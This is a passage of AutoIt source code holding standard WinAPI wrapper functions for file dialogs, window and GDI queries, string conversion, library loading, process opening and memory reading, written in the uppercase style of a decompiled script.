$ASFILTER[$I * 2] = StringStripWS(StringTrimRight(StringTrimLeft($ASFLINES[$I], $ISTART), StringLen($ASFLINES[$I]) - $IFINAL + 1), 3)
$STFILTER &= "wchar[" & StringLen($ASFILTER[$I * 2 - 1]) + 1 & "];wchar[" & StringLen($ASFILTER[$I * 2]) + 1 & "];"
Next
Local $TTITLE = DllStructCreate("wchar Title[" & StringLen($STITLE) + 1 & "]")
Local $TINITIALDIR = DllStructCreate("wchar InitDir[" & StringLen($SINITALDIR) + 1 & "]")
Local $TFILTER = DllStructCreate($STFILTER & "wchar")
Local $TPATH = DllStructCreate("wchar Path[" & $IPATHLEN & "]")
Local $TEXTN = DllStructCreate("wchar Extension[" & StringLen($SDEFAULTEXT) + 1 & "]")
For $I = 1 To $ASFILTER[0]
DllStructSetData($TFILTER, $I, $ASFILTER[$I])
Next
DllStructSetData($TTITLE, "Title", $STITLE)
DllStructSetData($TINITIALDIR, "InitDir", $SINITALDIR)
DllStructSetData($TPATH, "Path", $SDEFAULTFILE)
DllStructSetData($TEXTN, "Extension", $SDEFAULTEXT)
DllStructSetData($TOFN, "StructSize", DllStructGetSize($TOFN))
DllStructSetData($TOFN, "hwndOwner", $HWNDOWNER)
DllStructSetData($TOFN, "lpstrFilter", DllStructGetPtr($TFILTER))
DllStructSetData($TOFN, "nFilterIndex", $IFILTERINDEX)
DllStructSetData($TOFN, "lpstrFile", DllStructGetPtr($TPATH))
DllStructSetData($TOFN, "nMaxFile", $IPATHLEN)
DllStructSetData($TOFN, "lpstrInitialDir", DllStructGetPtr($TINITIALDIR))
DllStructSetData($TOFN, "lpstrTitle", DllStructGetPtr($TTITLE))
DllStructSetData($TOFN, "Flags", $IFLAG)
DllStructSetData($TOFN, "lpstrDefExt", DllStructGetPtr($TEXTN))
DllStructSetData($TOFN, "FlagsEx", $IFLAGSEX)
DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $TOFN)
If @error Then Return SetError(@error, @extended, $AFILES)
If BitAND($IFLAGS, $OFN_ALLOWMULTISELECT) = $OFN_ALLOWMULTISELECT And BitAND($IFLAGS, $OFN_EXPLORER) = $OFN_EXPLORER Then
For $X = 1 To $IPATHLEN
If DllStructGetData($TPATH, "Path", $X) = Chr(0) Then
DllStructSetData($TPATH, "Path", "|", $X)
$INULLS += 1
Else
$INULLS = 0
EndIf
If $INULLS = 2 Then ExitLoop
Next
DllStructSetData($TPATH, "Path", Chr(0), $X - 1)
$AFILES = StringSplit(DllStructGetData($TPATH, "Path"), "|")
If $AFILES[0] = 1 Then Return __WINAPI_PARSEFILEDIALOGPATH(DllStructGetData($TPATH, "Path"))
Return StringSplit(DllStructGetData($TPATH, "Path"), "|")
ElseIf BitAND($IFLAGS, $OFN_ALLOWMULTISELECT) = $OFN_ALLOWMULTISELECT Then
$AFILES = StringSplit(DllStructGetData($TPATH, "Path"), " ")
If $AFILES[0] = 1 Then Return __WINAPI_PARSEFILEDIALOGPATH(DllStructGetData($TPATH, "Path"))
Return StringSplit(StringReplace(DllStructGetData($TPATH, "Path"), " ", "|"), "|")
Else
Return __WINAPI_PARSEFILEDIALOGPATH(DllStructGetData($TPATH, "Path"))
EndIf
EndFunc ;==>_WinAPI_GetOpenFileName
Func _WinAPI_GetOverlappedResult($HFILE, $POVERLAPPED, ByRef $IBYTES, $FWAIT = False)
Local $ARESULT = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $HFILE, "ptr", $POVERLAPPED, "dword*", 0, "bool", $FWAIT)
If @error Then Return SetError(@error, @extended, False)
$IBYTES = $ARESULT[3]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetOverlappedResult
Func _WinAPI_GetParent($HWND)
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetParent
Func _WinAPI_GetProcessAffinityMask($HPROCESS)
Local $ARESULT = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $HPROCESS, "dword_ptr*", 0, "dword_ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $AMASK[3]
$AMASK[0] = True
$AMASK[1] = $ARESULT[2]
$AMASK[2] = $ARESULT[3]
Return $AMASK
EndFunc ;==>_WinAPI_GetProcessAffinityMask
Func _WinAPI_GetSaveFileName($STITLE = "", $SFILTER = "All files (*.*)", $SINITALDIR = ".", $SDEFAULTFILE = "", $SDEFAULTEXT = "", $IFILTERINDEX = 1, $IFLAGS = 0, $IFLAGSEX = 0, $HWNDOWNER = 0)
Local $IPATHLEN = 4096
Local $TOFN = DllStructCreate($TAGOPENFILENAME)
Local $AFILES[1] = [0]
Local $IFLAG = $IFLAGS
Local $ASFLINES = StringSplit($SFILTER, "|")
Local $ASFILTER[$ASFLINES[0] * 2 + 1]
Local $ISTART, $IFINAL, $STFILTER
$ASFILTER[0] = $ASFLINES[0] * 2
For $I = 1 To $ASFLINES[0]
$ISTART = StringInStr($ASFLINES[$I], "(", 0, 1)
$IFINAL = StringInStr($ASFLINES[$I], ")", 0, -1)
$ASFILTER[$I * 2 - 1] = StringStripWS(StringLeft($ASFLINES[$I], $ISTART - 1), 3)
$ASFILTER[$I * 2] = StringStripWS(StringTrimRight(StringTrimLeft($ASFLINES[$I], $ISTART), StringLen($ASFLINES[$I]) - $IFINAL + 1), 3)
$STFILTER &= "wchar[" & StringLen($ASFILTER[$I * 2 - 1]) + 1 & "];wchar[" & StringLen($ASFILTER[$I * 2]) + 1 & "];"
Next
Local $TTITLE = DllStructCreate("wchar Title[" & StringLen($STITLE) + 1 & "]")
Local $TINITIALDIR = DllStructCreate("wchar InitDir[" & StringLen($SINITALDIR) + 1 & "]")
Local $TFILTER = DllStructCreate($STFILTER & "wchar")
Local $TPATH = DllStructCreate("wchar Path[" & $IPATHLEN & "]")
Local $TEXTN = DllStructCreate("wchar Extension[" & StringLen($SDEFAULTEXT) + 1 & "]")
For $I = 1 To $ASFILTER[0]
DllStructSetData($TFILTER, $I, $ASFILTER[$I])
Next
DllStructSetData($TTITLE, "Title", $STITLE)
DllStructSetData($TINITIALDIR, "InitDir", $SINITALDIR)
DllStructSetData($TPATH, "Path", $SDEFAULTFILE)
DllStructSetData($TEXTN, "Extension", $SDEFAULTEXT)
DllStructSetData($TOFN, "StructSize", DllStructGetSize($TOFN))
DllStructSetData($TOFN, "hwndOwner", $HWNDOWNER)
DllStructSetData($TOFN, "lpstrFilter", DllStructGetPtr($TFILTER))
DllStructSetData($TOFN, "nFilterIndex", $IFILTERINDEX)
DllStructSetData($TOFN, "lpstrFile", DllStructGetPtr($TPATH))
DllStructSetData($TOFN, "nMaxFile", $IPATHLEN)
DllStructSetData($TOFN, "lpstrInitialDir", DllStructGetPtr($TINITIALDIR))
DllStructSetData($TOFN, "lpstrTitle", DllStructGetPtr($TTITLE))
DllStructSetData($TOFN, "Flags", $IFLAG)
DllStructSetData($TOFN, "lpstrDefExt", DllStructGetPtr($TEXTN))
DllStructSetData($TOFN, "FlagsEx", $IFLAGSEX)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $TOFN)
If @error Then Return SetError(@error, @extended, $AFILES)
Return __WINAPI_PARSEFILEDIALOGPATH(DllStructGetData($TPATH, "Path"))
EndFunc ;==>_WinAPI_GetSaveFileName
Func _WinAPI_GetStockObject($IOBJECT)
Local $ARESULT = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $IOBJECT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetStockObject
Func _WinAPI_GetStdHandle($ISTDHANDLE)
If $ISTDHANDLE < 0 Or $ISTDHANDLE > 2 Then Return SetError(2, 0, -1)
Local Const $AHANDLE[3] = [-10, -11, -12]
Local $ARESULT = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $AHANDLE[$ISTDHANDLE])
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetStdHandle
Func _WinAPI_GetSysColor($IINDEX)
Local $ARESULT = DllCall("user32.dll", "dword", "GetSysColor", "int", $IINDEX)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetSysColor
Func _WinAPI_GetSysColorBrush($IINDEX)
Local $ARESULT = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $IINDEX)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetSysColorBrush
Func _WinAPI_GetSystemMetrics($IINDEX)
Local $ARESULT = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $IINDEX)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetSystemMetrics
Func _WinAPI_GetTextExtentPoint32($HDC, $STEXT)
Local $TSIZE = DllStructCreate($TAGSIZE)
Local $ISIZE = StringLen($STEXT)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $HDC, "wstr", $STEXT, "int", $ISIZE, "struct*", $TSIZE)
If @error Then Return SetError(@error, @extended, 0)
Return $TSIZE
EndFunc ;==>_WinAPI_GetTextExtentPoint32
Func _WinAPI_GetTextMetrics($HDC)
Local $TTEXTMETRIC = DllStructCreate($TAGTEXTMETRIC)
Local $RET = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $HDC, "struct*", $TTEXTMETRIC)
If @error Then Return SetError(@error, @extended, 0)
If Not $RET[0] Then Return SetError(-1, 0, 0)
Return $TTEXTMETRIC
EndFunc ;==>_WINAPI_GETTEXTMETRICS
Func _WinAPI_GetWindow($HWND, $ICMD)
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $HWND, "uint", $ICMD)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetWindow
Func _WinAPI_GetWindowDC($HWND)
Local $ARESULT = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetWindowDC
Func _WinAPI_GetWindowHeight($HWND)
Local $TRECT = _WinAPI_GetWindowRect($HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TRECT, "Bottom") - DllStructGetData($TRECT, "Top")
EndFunc ;==>_WinAPI_GetWindowHeight
Func _WinAPI_GetWindowLong($HWND, $IINDEX)
Local $SFUNCNAME = "GetWindowLongW"
If @AutoItX64 Then $SFUNCNAME = "GetWindowLongPtrW"
Local $ARESULT = DllCall("user32.dll", "long_ptr", $SFUNCNAME, "hwnd", $HWND, "int", $IINDEX)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetWindowLong
Func _WinAPI_GetWindowPlacement($HWND)
Local $TWINDOWPLACEMENT = DllStructCreate($TAGWINDOWPLACEMENT)
DllStructSetData($TWINDOWPLACEMENT, "length", DllStructGetSize($TWINDOWPLACEMENT))
DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $HWND, "struct*", $TWINDOWPLACEMENT)
If @error Then Return SetError(@error, @extended, 0)
Return $TWINDOWPLACEMENT
EndFunc ;==>_WINAPI_GETWINDOWPLACEMENT
Func _WinAPI_GetWindowRect($HWND)
Local $TRECT = DllStructCreate($TAGRECT)
DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $HWND, "struct*", $TRECT)
If @error Then Return SetError(@error, @extended, 0)
Return $TRECT
EndFunc ;==>_WinAPI_GetWindowRect
Func _WinAPI_GetWindowRgn($HWND, $HRGN)
Local $ARESULT = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $HWND, "handle", $HRGN)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_GETWINDOWRGN
Func _WinAPI_GetWindowText($HWND)
Local $ARESULT = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $HWND, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($ARESULT[0], $ARESULT[2])
EndFunc ;==>_WinAPI_GetWindowText
Func _WinAPI_GetWindowThreadProcessId($HWND, ByRef $IPID)
Local $ARESULT = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $HWND, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$IPID = $ARESULT[2]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetWindowThreadProcessId
Func _WinAPI_GetWindowWidth($HWND)
Local $TRECT = _WinAPI_GetWindowRect($HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TRECT, "Right") - DllStructGetData($TRECT, "Left")
EndFunc ;==>_WinAPI_GetWindowWidth
Func _WinAPI_GetXYFromPoint(ByRef $TPOINT, ByRef $IX, ByRef $IY)
$IX = DllStructGetData($TPOINT, "X")
$IY = DllStructGetData($TPOINT, "Y")
EndFunc ;==>_WinAPI_GetXYFromPoint
Func _WinAPI_GlobalMemoryStatus()
Local $TMEM = DllStructCreate($TAGMEMORYSTATUSEX)
Local $IMEM = DllStructGetSize($TMEM)
DllStructSetData($TMEM, 1, $IMEM)
DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $TMEM)
If @error Then Return SetError(@error, @extended, 0)
Local $AMEM[7]
$AMEM[0] = DllStructGetData($TMEM, 2)
$AMEM[1] = DllStructGetData($TMEM, 3)
$AMEM[2] = DllStructGetData($TMEM, 4)
$AMEM[3] = DllStructGetData($TMEM, 5)
$AMEM[4] = DllStructGetData($TMEM, 6)
$AMEM[5] = DllStructGetData($TMEM, 7)
$AMEM[6] = DllStructGetData($TMEM, 8)
Return $AMEM
EndFunc ;==>_WINAPI_GLOBALMEMORYSTATUS
Func _WinAPI_GUIDFromString($SGUID)
Local $TGUID = DllStructCreate($TAGGUID)
_WinAPI_GUIDFromStringEx($SGUID, $TGUID)
If @error Then Return SetError(@error, @extended, 0)
Return $TGUID
EndFunc ;==>_WinAPI_GUIDFromString
Func _WinAPI_GUIDFromStringEx($SGUID, $PGUID)
Local $ARESULT = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $SGUID, "struct*", $PGUID)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GUIDFromStringEx
Func _WinAPI_HiWord($ILONG)
Return BitShift($ILONG, 16)
EndFunc ;==>_WinAPI_HiWord
Func _WinAPI_InProcess($HWND, ByRef $HLASTWND)
If $HWND = $HLASTWND Then Return True
For $II = $__GAINPROCESS_WINAPI[0][0] To 1 Step -1
If $HWND = $__GAINPROCESS_WINAPI[$II][0] Then
If $__GAINPROCESS_WINAPI[$II][1] Then
$HLASTWND = $HWND
Return True
Else
Return False
EndIf
EndIf
Next
Local $IPROCESSID
_WinAPI_GetWindowThreadProcessId($HWND, $IPROCESSID)
Local $ICOUNT = $__GAINPROCESS_WINAPI[0][0] + 1
If $ICOUNT >= 64 Then $ICOUNT = 1
$__GAINPROCESS_WINAPI[0][0] = $ICOUNT
$__GAINPROCESS_WINAPI[$ICOUNT][0] = $HWND
$__GAINPROCESS_WINAPI[$ICOUNT][1] = ($IPROCESSID = @AutoItPID)
Return $__GAINPROCESS_WINAPI[$ICOUNT][1]
EndFunc ;==>_WinAPI_InProcess
Func _WinAPI_IntToFloat($IINT)
Local $TINT = DllStructCreate("int")
Local $TFLOAT = DllStructCreate("float", DllStructGetPtr($TINT))
DllStructSetData($TINT, 1, $IINT)
Return DllStructGetData($TFLOAT, 1)
EndFunc ;==>_WinAPI_IntToFloat
Func _WinAPI_IsClassName($HWND, $SCLASSNAME)
Local $SSEPARATOR = Opt("GUIDataSeparatorChar")
Local $ACLASSNAME = StringSplit($SCLASSNAME, $SSEPARATOR)
If Not IsHWnd($HWND) Then $HWND = GUICtrlGetHandle($HWND)
Local $SCLASSCHECK = _WinAPI_GetClassName($HWND)
For $X = 1 To UBound($ACLASSNAME) - 1
If StringUpper(StringMid($SCLASSCHECK, 1, StringLen($ACLASSNAME[$X]))) = StringUpper($ACLASSNAME[$X]) Then Return True
Next
Return False
EndFunc ;==>_WinAPI_IsClassName
Func _WinAPI_IsWindow($HWND)
Local $ARESULT = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_IsWindow
Func _WinAPI_IsWindowVisible($HWND)
Local $ARESULT = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_IsWindowVisible
Func _WinAPI_InvalidateRect($HWND, $TRECT = 0, $FERASE = True)
Local $ARESULT = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $HWND, "struct*", $TRECT, "bool", $FERASE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_InvalidateRect
Func _WinAPI_LineTo($HDC, $IX, $IY)
Local $ARESULT = DllCall("gdi32.dll", "bool", "LineTo", "handle", $HDC, "int", $IX, "int", $IY)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_LINETO
Func _WinAPI_LoadBitmap($HINSTANCE, $SBITMAP)
Local $SBITMAPTYPE = "int"
If IsString($SBITMAP) Then $SBITMAPTYPE = "wstr"
Local $ARESULT = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $HINSTANCE, $SBITMAPTYPE, $SBITMAP)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_LoadBitmap
Func _WinAPI_LoadImage($HINSTANCE, $SIMAGE, $ITYPE, $IXDESIRED, $IYDESIRED, $ILOAD)
Local $ARESULT, $SIMAGETYPE = "int"
If IsString($SIMAGE) Then $SIMAGETYPE = "wstr"
$ARESULT = DllCall("user32.dll", "handle", "LoadImageW", "handle", $HINSTANCE, $SIMAGETYPE, $SIMAGE, "uint", $ITYPE, "int", $IXDESIRED, "int", $IYDESIRED, "uint", $ILOAD)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_LoadImage
Func _WinAPI_LoadLibrary($SFILENAME)
Local $ARESULT = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $SFILENAME)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_LoadLibrary
Func _WinAPI_LoadLibraryEx($SFILENAME, $IFLAGS = 0)
Local $ARESULT = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $SFILENAME, "ptr", 0, "dword", $IFLAGS)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_LoadLibraryEx
Func _WinAPI_LoadShell32Icon($IICONID)
Local $TICONS = DllStructCreate("ptr Data")
Local $IICONS = _WinAPI_ExtractIconEx("shell32.dll", $IICONID, 0, $TICONS, 1)
If @error Then Return SetError(@error, @extended, 0)
If $IICONS <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($TICONS, "Data")
EndFunc ;==>_WinAPI_LoadShell32Icon
Func _WinAPI_LoadString($HINSTANCE, $ISTRINGID)
Local $ARESULT = DllCall("user32.dll", "int", "LoadStringW", "handle", $HINSTANCE, "uint", $ISTRINGID, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($ARESULT[0], $ARESULT[3])
EndFunc ;==>_WinAPI_LoadString
Func _WinAPI_LocalFree($HMEM)
Local $ARESULT = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $HMEM)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_LocalFree
Func _WinAPI_LoWord($ILONG)
Return BitAND($ILONG, 65535)
EndFunc ;==>_WinAPI_LoWord
Func _WinAPI_MAKELANGID($LGIDPRIMARY, $LGIDSUB)
Return BitOR(BitShift($LGIDSUB, -10), $LGIDPRIMARY)
EndFunc ;==>_WinAPI_MAKELANGID
Func _WinAPI_MAKELCID($LGID, $SRTID)
Return BitOR(BitShift($SRTID, -16), $LGID)
EndFunc ;==>_WinAPI_MAKELCID
Func _WinAPI_MakeLong($ILO, $IHI)
Return BitOR(BitShift($IHI, -16), BitAND($ILO, 65535))
EndFunc ;==>_WinAPI_MakeLong
Func _WinAPI_MakeQWord($LODWORD, $HIDWORD)
Local $TINT64 = DllStructCreate("uint64")
Local $TDWORDS = DllStructCreate("dword;dword", DllStructGetPtr($TINT64))
DllStructSetData($TDWORDS, 1, $LODWORD)
DllStructSetData($TDWORDS, 2, $HIDWORD)
Return DllStructGetData($TINT64, 1)
EndFunc ;==>_WINAPI_MAKEQWORD
Func _WinAPI_MessageBeep($ITYPE = 1)
Local $ISOUND
Switch $ITYPE
Case 1
$ISOUND = 0
Case 2
$ISOUND = 16
Case 3
$ISOUND = 32
Case 4
$ISOUND = 48
Case 5
$ISOUND = 64
Case Else
$ISOUND = -1
EndSwitch
Local $ARESULT = DllCall("user32.dll", "bool", "MessageBeep", "uint", $ISOUND)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_MessageBeep
Func _WinAPI_MsgBox($IFLAGS, $STITLE, $STEXT)
BlockInput(0)
MsgBox($IFLAGS, $STITLE, $STEXT & " ")
EndFunc ;==>_WinAPI_MsgBox
Func _WinAPI_Mouse_Event($IFLAGS, $IX = 0, $IY = 0, $IDATA = 0, $IEXTRAINFO = 0)
DllCall("user32.dll", "none", "mouse_event", "dword", $IFLAGS, "dword", $IX, "dword", $IY, "dword", $IDATA, "ulong_ptr", $IEXTRAINFO)
If @error Then Return SetError(@error, @extended)
EndFunc ;==>_WinAPI_Mouse_Event
Func _WinAPI_MoveTo($HDC, $IX, $IY)
Local $ARESULT = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $HDC, "int", $IX, "int", $IY, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_MOVETO
Func _WinAPI_MoveWindow($HWND, $IX, $IY, $IWIDTH, $IHEIGHT, $FREPAINT = True)
Local $ARESULT = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $HWND, "int", $IX, "int", $IY, "int", $IWIDTH, "int", $IHEIGHT, "bool", $FREPAINT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_MoveWindow
Func _WinAPI_MulDiv($INUMBER, $INUMERATOR, $IDENOMINATOR)
Local $ARESULT = DllCall("kernel32.dll", "int", "MulDiv", "int", $INUMBER, "int", $INUMERATOR, "int", $IDENOMINATOR)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_MulDiv
Func _WinAPI_MultiByteToWideChar($STEXT, $ICODEPAGE = 0, $IFLAGS = 0, $BRETSTRING = False)
Local $STEXTTYPE = "str"
If Not IsString($STEXT) Then $STEXTTYPE = "struct*"
Local $ARESULT = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $ICODEPAGE, "dword", $IFLAGS, $STEXTTYPE, $STEXT, "int", -1, "ptr", 0, "int", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $IOUT = $ARESULT[0]
Local $TOUT = DllStructCreate("wchar[" & $IOUT & "]")
$ARESULT = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $ICODEPAGE, "dword", $IFLAGS, $STEXTTYPE, $STEXT, "int", -1, "struct*", $TOUT, "int", $IOUT)
If @error Then Return SetError(@error, @extended, 0)
If $BRETSTRING Then Return DllStructGetData($TOUT, 1)
Return $TOUT
EndFunc ;==>_WinAPI_MultiByteToWideChar
Func _WinAPI_MultiByteToWideCharEx($STEXT, $PTEXT, $ICODEPAGE = 0, $IFLAGS = 0)
Local $ARESULT = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $ICODEPAGE, "dword", $IFLAGS, "STR", $STEXT, "int", -1, "struct*", $PTEXT, "int", (StringLen($STEXT) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_MultiByteToWideCharEx
Func _WinAPI_OpenProcess($IACCESS, $FINHERIT, $IPROCESSID, $FDEBUGPRIV = False)
Local $ARESULT = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $IACCESS, "bool", $FINHERIT, "dword", $IPROCESSID)
If @error Then Return SetError(@error, @extended, 0)
If $ARESULT[0] Then Return $ARESULT[0]
If Not $FDEBUGPRIV Then Return 0
Local $HTOKEN = _Security__OpenThreadTokenEx(BitOR($TOKEN_ADJUST_PRIVILEGES, $TOKEN_QUERY))
If @error Then Return SetError(@error, @extended, 0)
_Security__SetPrivilege($HTOKEN, "SeDebugPrivilege", True)
Local $IERROR = @error
Local $ILASTERROR = @extended
Local $IRET = 0
If Not @error Then
$ARESULT = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $IACCESS, "bool", $FINHERIT, "dword", $IPROCESSID)
$IERROR = @error
$ILASTERROR = @extended
If $ARESULT[0] Then $IRET = $ARESULT[0]
_Security__SetPrivilege($HTOKEN, "SeDebugPrivilege", False)
If @error Then
$IERROR = @error
$ILASTERROR = @extended
EndIf
EndIf
_WinAPI_CloseHandle($HTOKEN)
Return SetError($IERROR, $ILASTERROR, $IRET)
EndFunc ;==>_WinAPI_OpenProcess
Func __WINAPI_PARSEFILEDIALOGPATH($SPATH)
Local $AFILES[3]
$AFILES[0] = 2
Local $STEMP = StringMid($SPATH, 1, StringInStr($SPATH, "\", 0, -1) - 1)
$AFILES[1] = $STEMP
$AFILES[2] = StringMid($SPATH, StringInStr($SPATH, "\", 0, -1) + 1)
Return $AFILES
EndFunc ;==>__WINAPI_PARSEFILEDIALOGPATH
Func _WinAPI_PathFindOnPath(Const $SZFILE, $AEXTRAPATHS = "", Const $SZPATHDELIMITER = @LF)
Local $IEXTRACOUNT = 0
If IsString($AEXTRAPATHS) Then
If StringLen($AEXTRAPATHS) Then
$AEXTRAPATHS = StringSplit($AEXTRAPATHS, $SZPATHDELIMITER, 1 + 2)
$IEXTRACOUNT = UBound($AEXTRAPATHS, 1)
EndIf
ElseIf IsArray($AEXTRAPATHS) Then
$IEXTRACOUNT = UBound($AEXTRAPATHS)
EndIf
Local $TPATHS, $TPATHPTRS
If $IEXTRACOUNT Then
Local $SZSTRUCT = ""
For $PATH In $AEXTRAPATHS
$SZSTRUCT &= "wchar[" & StringLen($PATH) + 1 & "];"
Next
$TPATHS = DllStructCreate($SZSTRUCT)
$TPATHPTRS = DllStructCreate("ptr[" & $IEXTRACOUNT + 1 & "]")
For $I = 1 To $IEXTRACOUNT
DllStructSetData($TPATHS, $I, $AEXTRAPATHS[$I - 1])
DllStructSetData($TPATHPTRS, 1, DllStructGetPtr($TPATHS, $I), $I)
Next
DllStructSetData($TPATHPTRS, 1, Ptr(0), $IEXTRACOUNT + 1)
EndIf
Local $ARESULT = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $SZFILE, "struct*", $TPATHPTRS)
If @error Then Return SetError(@error, @extended, False)
If $ARESULT[0] = 0 Then Return SetError(1, 0, $SZFILE)
Return $ARESULT[1]
EndFunc ;==>_WINAPI_PATHFINDONPATH
Func _WinAPI_PointFromRect(ByRef $TRECT, $FCENTER = True)
Local $IX1 = DllStructGetData($TRECT, "Left")
Local $IY1 = DllStructGetData($TRECT, "Top")
Local $IX2 = DllStructGetData($TRECT, "Right")
Local $IY2 = DllStructGetData($TRECT, "Bottom")
If $FCENTER Then
$IX1 = $IX1 + (($IX2 - $IX1) / 2)
$IY1 = $IY1 + (($IY2 - $IY1) / 2)
EndIf
Local $TPOINT = DllStructCreate($TAGPOINT)
DllStructSetData($TPOINT, "X", $IX1)
DllStructSetData($TPOINT, "Y", $IY1)
Return $TPOINT
EndFunc ;==>_WinAPI_PointFromRect
Func _WinAPI_PostMessage($HWND, $IMSG, $IWPARAM, $ILPARAM)
Local $ARESULT = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $HWND, "uint", $IMSG, "wparam", $IWPARAM, "lparam", $ILPARAM)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_PostMessage
Func _WinAPI_PrimaryLangId($LGID)
Return BitAND($LGID, 1023)
EndFunc ;==>_WinAPI_PrimaryLangId
Func _WinAPI_PtInRect(ByRef $TRECT, ByRef $TPOINT)
Local $ARESULT = DllCall("user32.dll", "bool", "PtInRect", "struct*", $TRECT, "struct", $TPOINT)
If @error Then Return SetError(1, @extended, False)
Return Not ($ARESULT[0] = 0)
EndFunc ;==>_WinAPI_PtInRect
Func _WinAPI_ReadFile($HFILE, $PBUFFER, $ITOREAD, ByRef $IREAD, $POVERLAPPED = 0)
Local $ARESULT = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $HFILE, "ptr", $PBUFFER, "dword", $ITOREAD, "dword*", 0, "ptr", $POVERLAPPED)
If @error Then Return SetError(@error, @extended, False)
$IREAD = $ARESULT[4]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ReadFile
Func _WinAPI_ReadProcessMemory($HPROCESS, $PBASEADDRESS, $PBUFFER, $ISIZE, ByRef $IREAD)
Local $ARESULT = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $HPROCESS, "ptr", $PBASEADDRESS, "ptr", $PBUFFER, "ulong_ptr", $ISIZE, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$IREAD = $ARESULT[5]
Return $ARESULT[0]
